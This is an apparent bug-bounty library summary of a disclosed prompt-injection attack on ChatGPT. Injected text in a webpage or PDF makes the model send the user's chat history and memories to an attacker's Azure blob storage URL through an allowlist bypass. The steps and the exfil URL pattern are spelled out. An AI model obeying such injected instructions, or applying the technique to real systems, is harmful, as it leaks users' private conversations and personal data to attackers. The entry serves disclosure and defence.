# Exfiltrating Your ChatGPT Chat History and Memories With Prompt Injection

A url_safe bypass in ChatGPT lets prompt injection from untrusted content exfiltrate chat history and memories to attacker-controlled Azure blob storage logs.

- Payout: Research
- Severity: high
- Program: OpenAI
- Write-up by: Johann Rehberger
- Disclosed: 2025-08-01
- Write-up quality: 7/10
- Original: https://embracethered.com/blog/posts/2025/chatgpt-chat-history-data-exfiltration/
- Library page: https://bugbountylibrary.com/r/blog%3Aembracethered-com-blog-posts-2025-chatgpt-chat-history-data-exfiltration
- Tags: area:ai domain:ai impact:data-leak impact:pii-leak kind:research platform:research sev:high tech:llm technique:oob-exfil technique:recon vuln:info-disclosure vuln:prompt-injection

**Target:** ChatGPT safe URL rendering / url_safe feature
**Root cause:** The url_safe allowlist included domains like windows.net and apache.org that attackers can control and whose server-side logs they can read, so ChatGPT would render attacker URLs carrying sensitive prompt context.
**Steps:**
1. Identify url_safe domains that allow attacker-controlled content and readable logs (e.g. `blob.core.windows.net`).
2. Create an Azure blob storage account (e.g. `trustnoai`) to receive requests and inspect logs.
3. Craft untrusted content (webpage or PDF) containing a prompt injection instructing ChatGPT to read 'Recent Conversation Content' from the system prompt.
4. Instruct ChatGPT to render an image/GET request to `https://trustnoai.blob.core.windows.net/?data=<chat history>`.
5. Read exfiltrated data from the blob storage access logs.
**How found:** While reviewing the system prompt to understand how chat history is stored, the researcher noticed all history is present in the prompt context; knowing prior url_safe bypasses were unfixed, they hunted for allowlisted domains that permit attacker-controlled content with readable logs.
**Exploitation:** Attacker embeds prompt injection in a document or webpage the victim asks ChatGPT to summarize; ChatGPT reads chat history/memories from its system prompt and issues an HTTP GET to the attacker's url_safe Azure blob domain, where the data is captured in server logs.
**Escalation:** Beyond future chat data, the bypass now reaches past chat history, memories, user interaction metadata and tool-invoked data, widening the leak surface.
**Insight:** When a model restricts egress via an allowlist, enumerate allowlisted domains that let an attacker both host arbitrary content and read request logs (cloud blob storage, apache.org); those become exfil channels even without a direct fetch primitive.